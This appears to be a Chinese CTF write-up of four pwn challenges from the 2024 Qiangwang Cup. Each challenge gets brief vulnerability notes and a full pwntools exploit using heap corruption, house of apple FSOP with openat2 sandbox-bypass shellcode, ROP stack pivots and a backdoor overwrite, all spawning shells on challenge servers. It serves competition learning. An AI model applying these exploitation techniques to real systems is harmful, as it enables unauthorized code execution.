PWN
chat_with_me (一血)
代码审计
rust不好纯静态看,建议动静结合 感觉像是经典菜单题
不想直接硬审计,先看到edit这块有类似输入大小的限制,测试一下
然后发现报错
盲猜是变量被我们覆盖了,漏洞很可能是内存溢出导致的变量覆盖 show这块的话有地址泄露的风险,也是测得出来 分析的时候,随便把message结构体搞出来了
struct message_box{ # 通过add函数动态空间
char *message1; # 指针在stack上
char *message2;
.....
}
思路
通过调试发现,我们输入的缓存区是在heap里的0x2021大小的堆里,我们可以free任意地址,所以我们可以在伪造chunk,把这个伪chunk给free掉,然后加入到unsorted bin里,通过add函数我们把存放message的chunk空间申请完,它便会重新申请一块地址给我们使用
这时我们就可以通过输入控制message的指针,实现任意读写,以及程序流程控制
exp
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc.so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("59.110.156.237",30991)
# p = remote('127.0.0.1',6666)
elf = ELF(name)
def add():
p.sendlineafter("Choice >",'1')
def show(idx):
p.sendlineafter("Choice >",'2')
p.sendlineafter("Index >",str(idx))
def edit(idx,content):
p.sendlineafter("Choice >",'3')
p.sendlineafter("Index >",str(idx))
p.sendafter("Content",content)
def dele(idx):
p.sendlineafter("Choice >",'4')
p.sendlineafter("Index >",str(idx))
get_p("./pwn")
add()
show(0)
p.recvuntil("Content: [2, 0, 0, 0, 0, 0, 0, 0, ")
heap = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
p.recvuntil("0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, ")
stack = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
p.recvuntil("0, 0, ")
pie = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
p.recvuntil("0, 0, 5, 0, 0, 0, 0, 0, 0, 0, ")
guess_1 = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000
pie = pie - 0x635b0
print(hex(heap))
print(hex(stack))
print(hex(pie))
print(hex(guess_1))
raw_input()
edit(0,b"A"*8+p64(0x21)+b"A"*0x10+p64(heap-0x2010)+p64(0x2051))
for i in range(0x4):
add()
elf.address = pie
edit(0,b"x00"*0x30+p64(stack-0x50)+p64(elf.got['syscall']))
show(1)
p.recvuntil("Content: [")
libc.address = int(p.recvuntil(",")[:-1]) + int(p.recvuntil(",")[:-1])*0x100 + int(p.recvuntil(",")[:-1])*0x10000 + int(p.recvuntil(",")[:-1])*0x1000000 + int(p.recvuntil(",")[:-1])*0x100000000 + int(p.recvuntil(",")[:-1])*0x10000000000 - libc.sym['syscall']
print(hex(libc.address))
# gdb.attach(p,"b *$rebase(0x00001A2E4)")
# sleep(2)
pop_rdi = 0x000000000010f75b + libc.address
system = libc.sym['system']
binsh = next(libc.search(b"/bin/sh"))
payload = p64(pop_rdi)+ p64(binsh) + p64(pop_rdi+1) + p64(system)
edit(0,payload)
p.interactive()
比较恶心的一点就是本地交互和远程交互的时候heap布局不一样,需要我们docker+gdbserver去动调得到
baby_heap (一血)
代码审计
直接漏洞点,没啥好说的UAF,一眼house of apple
沙盒
限制了我们open和openat,打不开文件了
思路
只能show一次和edit一次,所以把chunk加入largebin就行,就可以同时泄露出来heap和libc地址,然后在通过UAF打house of apple控制程序流程,这里有一点,我们攻击完之后edit次数用完了,所以要想办法回到我们edit的chunk上
方法就是把攻击流程中进入large bin的chunk再申请出来就行了,然后IO_list_all的指针就会是我们想要的chunk地址
绕过沙盒,之前看到openat2系统调用,真的很玄学,一些题可以一些题不行,这题直接用openat2就ok
exp
from pwn import*
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc = ELF("./libc-2.35.so")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name, env={"LD_PRELOAD":"./libc-2.35.so"})
p = remote("47.93.55.85",33046)
elf = ELF(name)
def add(size):
p.sendlineafter("Enter your choice: ",'1')
p.sendlineafter("Enter your commodity size",str(size))
def dele(idx):
p.sendlineafter("Enter your choice: ",'2')
p.sendlineafter("Enter which to delete:",str(idx))
def edit(idx,content):
p.sendlineafter("Enter your choice: ",'3')
p.sendlineafter("Enter which ",str(idx))
p.sendafter("Input the content",content)
def show(idx):
p.sendlineafter("Enter your choice: ",'4')
p.sendlineafter("Enter which ",str(idx))
def set_gev(chose):
p.sendlineafter("Enter your choice: ",'5')
p.sendlineafter("Maybe you will be sad !",str(chose))
get_p("./pwn")
add(0x520)
add(0x500)
add(0x510)
dele(1)
add(0x540)
show(1)
libc.address = u64(p.recvuntil("x7f")[-6:].ljust(0x8,b"x00")) - 0x21b110
print(hex(libc.address))
p.recv(2+8)
heap = u64(p.recv(8))
print(hex(heap))
dele(3)
payload = p64(libc.address+0x21b110)*2 + p64(heap) + p64(libc.sym['_IO_list_all']-0x20)
FP = heap
A = FP + 0x100
B = A + 0xe0 - 0x60
_IO_wfile_jumps = libc.address + 0x216f58 - 0x18
ROP_addr = heap+0x300
pop_rdi = 0x000000000002a3e5 + libc.address
pop_rsi = 0x000000000002be51 + libc.address
pop_rdx = 0x000000000011f2e7 + libc.address
pop_rax = 0x0000000000045eb0 + libc.address
ret = pop_rdi + 1
syscall = 0x0000000000091316 + libc.address
setcontext = libc.sym['setcontext']
payload = (payload).ljust((0xa0-0x10),b"x00") + p64(A) #
payload = payload.ljust(0xb0,b"x00") + p64(1)
payload = payload.ljust(0xc8,b"x00") + p64(_IO_wfile_jumps-0x40)
payload = payload.ljust(0x190,b"x00") + p64(ROP_addr) + p64(ret)
payload = payload.ljust(0xf0+0xe0,b"x00") + p64(B) + p64(setcontext + 61)
code = asm('''
mov rax, 0x67616c662f2e
push rax
xor rdi, rdi
sub rdi, 100
mov rsi, rsp
push 0
push 0
push 0
mov rdx, rsp
mov r10, 0x18
push SYS_openat2
pop rax
syscall
mov rax,0
mov rdi,3
mov rsi,rsp
mov rdx,0x50
syscall
mov rax,1
mov rdi,1
syscall ''')
payload = payload.ljust(0x2f0,b"x00") + p64(pop_rdi) + p64(heap&0xfffffffff000) + p64(pop_rsi) + p64(0x3000) + p64(pop_rdx) + p64(7)*2 + p64(libc.sym['mprotect']) + p64(heap+0x400)
payload = payload.ljust(0x3f0,b"x00") + code
edit(1,payload)
add(0x5f0)
add(0x510)
# gdb.attach(p,"b *&_IO_wfile_overflow")
# sleep(2)
add(0x600)
p.interactive()
qroute (一血)
代码审计
程序实现了类似route的功能,我们需要先登录才能进入configure模式
有加密的部分
给学弟解密,嘻嘻嘻
然后就可以开始测试,rust最好是动调+静态结合 直接猜测漏洞是在ping和traceroute上,在ping函数的看到了这段
猜测是这段,发现长度无法绕过去,就想到了IP地址是点来划分的,所以用"."点来测试,然后就成功了
就来到了ROP的部分,这个Rust程序没有那么多正常的gadget
但是有syscall_read函数,调试发现控制rbx和rcx就可以进行编写,那么就可以使用栈迁移,就不用考虑ROP链的大小
exp
from pwn import*
context(arch='i386', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
# libc = ELF("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("123.56.219.14",34839)
elf = ELF(name)
def set_route(route):
p.sendlineafter("Router",b"set route " + route)
def set_dns(dns,ip):
p.sendlineafter(b"Router",b"set dns " + dns + b" " + ip)
def exec(cmd):
p.sendlineafter("Router",b"exec " + cmd)
get_p("./pwn")
pop_rax_rbp = 0x0000000000405368
pop_rbx = 0x0000000000461dc1
pop_rcx = 0x0000000000433347
target = 0x006102B0
pop_rbp = 0x0000000000401030#: pop rbp ; ret
p.sendlineafter("Router#","cert 4ceb539da109caf8eea7")
p.sendlineafter("Router#","configure")
sys_read = 0x0048DB60
leave_ret = 0x00000000004a721a
payload = b"."*0x207+p64(pop_rbp) + p64(target)+ p64(pop_rcx) + p64(0x200) + p64(pop_rbx) + p64(0x006102B0) + p64(sys_read) + p64(leave_ret)[:5]
set_dns(payload,b'1.1.1.1')
set_route(b"A"*0x3f+b" BBBBB 1")
# p.sendlineafter("Router","exec ping host " +"A"*0x3f)
p.sendlineafter("Router",b"exec ping host " +payload)
# gdb.attach(p,"b *0x004D858C")
# sleep(2)
syscall = 0x004735A9
payload = p64(0) + p64(pop_rax_rbp) + p64(0x3b) + p64(0) + p64(pop_rbx) + p64(target+0x100) + p64(syscall)
p.send(payload.ljust(0x100,b"x00")+b"/bin/shx00")
p.interactive()
expect_number
代码审计
漏洞在这里
我们可以修改到unk_5520的数据
然后发现可以控制到这个位置上
有栈溢出,但是程序是开启了canary并且这里用报错处理的部分,所以我们只能控制相似的报错处理的部分代码
然后就找到这个后面函数,我们可以通过修改到unk_0x5520,然后通过show部分泄露出来程序基址 就可以通过栈溢出把原来的报错处理部分给覆盖为后门,记得要把rbp给覆盖好,不然会卡住 数字部分很简单,srand(1),模拟一下就全出来了,然后我们对应控制为想要的值即可
exp
from pwn import*
from ctypes import *
context(arch='amd64', os='linux',log_level="debug")
context.terminal=["wt.exe","wsl.exe"]
#libc = ELF("../libc/")
libc=cdll.LoadLibrary("./libc-so.6")
"""""
def xxx():
p.sendlineafter("")
p.sendlineafter("")
p.sendlineafter("")
"""
def get_p(name):
global p,elf
# p = process(name)
p = remote("123.56.221.254",30850)
elf = ELF(name)
libc.srand(1)
def play():
global num_all,num
p.sendlineafter("waiting for your choice",'1')
if fuck_[num_all] == 1 and num < 0x60 : # 加
p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(2))
num += 2
elif fuck_[num_all] == 1 : # 加
p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(0))
elif fuck_[num_all] == 2 : # 减
p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(0))
elif fuck_[num_all] == 3 : # 乘
p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(1))
elif fuck_[num_all] == 4 : # 除
p.sendlineafter("Which one do you choose? 2 or 1 or 0",str(1))
num_all += 1
print(num_all)
# for i in range(0x120):
# print((libc.rand()%4)+1,end=",")
fuck_ = [4,3,2,4,2,4,3,1,2,2,3,4,3,4,4,3,1,3,1,1,4,1,4,2,3,3,3,4,4,4,2,3,3,3,2,4,2,1,4,3,2,2,2,4,1,2,3,1,4,3,2,3,4,1,1,2,3,3,1,2,2,2,1,4,1,2,3,2,2,2,1,4,3,2,3,4,3,1,4,3,4,1,1,3,1,1,4,4,3,4,1,1,1,1,4,1,3,3,3,4,4,3,3,3,4,2,2,3,2,1,1,1,2,1,3,2,2,2,1,4,1,2,4,2,2,4,2,4,2,4,4,1,2,2,3,2,3,4,4,1,1,4,1,2,4,4,3,1,1,4,1,2,1,4,3,2,3,4,2,4,4,1,1,1,2,3,2,1,3,1,1,3,4,1,4,4,4,2,4,1,1,4,2,1,4,4,3,2,3,4,2,2,4,2,3,1,4,4,1,2,1,1,4,4,2,3,3,1,1,3,1,1,2,2,2,1,1,4,3,4,3,4,1,2,1,3,2,4,3,3,2,3,3,1,2,4,4,1,1,4,3,1,4,4,3,1,1,3,4,3,2,2,2,3,3,2,1,1,1,3,3,2,1,1,3,3,1,2,3,1,1,1,1,4,4,3,1,4,2,4,2,3,2,3,1,4,4,2]
num_all = 0
num = 0
get_p("./expect_number")
for x in range(0x114):
play()
p.sendlineafter("waiting",'2')
p.recvuntil("110101120011111121221210111111011101021100012012110112201120002120100021101112111221221111222212111111111001022202100021201001010112001011122120111221202110110112220102122112111012210211101100101011000011011001000000011111000101110110011001101110011100011000011000110010000111")
pie = u64(p.recv(6).ljust(0x8,b"x00"))
# # print(i)
p.sendlineafter("waiting",'4')
# gdb.attach(p,"b *$rebase(0x00251F)")
# sleep(2)
print(hex(pie))
print(0x00024E1+0x4000)
backdoor = pie - 0x4c60 + 0x251a
p.sendafter("Tell me your favorite number.",p64(pie+0x1000-0xc60+0x900)*5+p16(backdoor&0xffff))
p.interactive()
原文始发于微信公众号(ACT Team):2024年第八届“强网杯”全国网络安全挑战赛线上初赛Pwn Writeup
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论